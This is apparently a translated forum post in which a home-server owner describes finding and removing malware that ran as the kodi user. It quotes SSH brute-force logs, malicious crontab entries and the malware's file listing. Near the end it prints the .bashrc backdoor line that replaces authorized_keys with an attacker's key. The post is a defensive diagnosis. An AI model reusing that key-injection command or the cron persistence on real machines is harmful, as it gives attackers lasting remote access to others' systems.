Di recente ho notato che il mio server di casa è diventato dolorosamente lento. Tutte le risorse sono state divorate da due processi: crond64
e tsm
. Anche se li ho uccisi ripetutamente, continuavano a presentarsi ancora e ancora.
Allo stesso tempo, il mio ISP mi stava avvisando di un abuso derivante dal mio indirizzo IP:
==================== Excerpt from log for 178.22.105.xxx====================
Note: Local timezone is +0100 (CET)
Jan 28 20:55:44 shared06 sshd[26722]: Invalid user admin from 178.22.105.xxx
Jan 28 20:55:44 shared06 sshd[26722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 20:55:45 shared06 sshd[26722]: Failed password for invalid user admin from 178.22.105.xxx port 33532 ssh2
Jan 28 20:55:46 shared06 sshd[26722]: Received disconnect from 178.22.105.xxx port 33532:11: Bye Bye [preauth]
Jan 28 20:55:46 shared06 sshd[26722]: Disconnected from 178.22.105.xxx port 33532 [preauth]
Jan 28 21:12:05 shared06 sshd[30920]: Invalid user odm from 178.22.105.xxx
Jan 28 21:12:05 shared06 sshd[30920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 21:12:07 shared06 sshd[30920]: Failed password for invalid user odm from 178.22.105.xxx port 45114 ssh2
Jan 28 21:12:07 shared06 sshd[30920]: Received disconnect from 178.22.105.xxx port 45114:11: Bye Bye [preauth]
Jan 28 21:12:07 shared06 sshd[30920]: Disconnected from 178.22.105.xxx port 45114 [preauth]
Questo sito Web mi ha informato che avrei potuto avere un virus. Eseguo Sophos AV eseguendo la scansione del mio intero disco rigido e in effetti ha trovato del virus /tmp/.mountfs/.rsync
. Quindi ho eliminato l'intera cartella e ho pensato che fosse così. Ma continuava a tornare dopo. Quindi ho controllato il file cron dell'utente /var/spool/cron/crontabs/kodi
(il virus era in esecuzione utilizzando l'utente del mio media server kodi), che assomigliava a questo:
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Sun Feb 3 21:52:03 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* */12 * * * /home/kodi/.ttp/a/upd>/dev/null 2>&1
@reboot /home/kodi/.ttp/a/upd>/dev/null 2>&1
5 8 * * 0 /home/kodi/.ttp/b/sync>/dev/null 2>&1
@reboot /home/kodi/.ttp/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.mountfs/.rsync/c/aptitude>/dev/null 2>&1
Sembra che il virus si riattivi di tanto in tanto da un'altra directory. Il contenuto di quella directory è:
>>> ls /home/kodi/.ttp/*
/home/kodi/.ttp/cron.d /home/kodi/.ttp/dir2.dir
/home/kodi/.ttp/a:
a bash.pid config.txt crond32 crond64 cronda crondb dir.dir pools.txt run stop upd
/home/kodi/.ttp/b:
a dir.dir rsync run stop sync
/home/kodi/.ttp/c:
aptitude dir.dir go ip lib n p run slow start stop tsm tsm32 tsm64 v watchdog
Ho eliminato tutti questi file e le voci nel crontab e spero con questo, il problema è risolto. Tuttavia, sarei interessato al tipo di virus, a come avrei potuto prenderlo (potrebbe essere collegato a Kodi) e cosa posso fare per prevenirlo. Fortunatamente, era in esecuzione solo da un utente con diritti limitati, ma era comunque fastidioso da gestire.
MODIFICARE
Anche se apparentemente ho rimosso tutti i resti di questo virus (ho anche rimosso l'intera cartella tmp), il virus ha continuato a tornare. Mi sono reso conto che c'era un'entrata ~/.ssh/authorized_hosts
, che sicuramente non mi ero messo. Questo spiega come il virus potrebbe essere ripiantato ripetutamente. Ho rimosso la voce, disabilitato l'accesso per quell'utente, disabilitato l'accesso con password (solo passkey) e ora uso una porta non standard.
Ho anche notato ripetuti tentativi di accesso sul mio server con nomi utente casuali, probabilmente da una specie di bot (il registro sembrava sorprendentemente simile a quello lanciato dal mio IP, inviato dal mio ISP). Immagino che sia così che il mio computer è stato infettato in primo luogo.
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB... ...VKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~
. Ho appena fatto un cp /etc/skel/.bashrc /home/mycompromiseduser/
per rimuoverlo.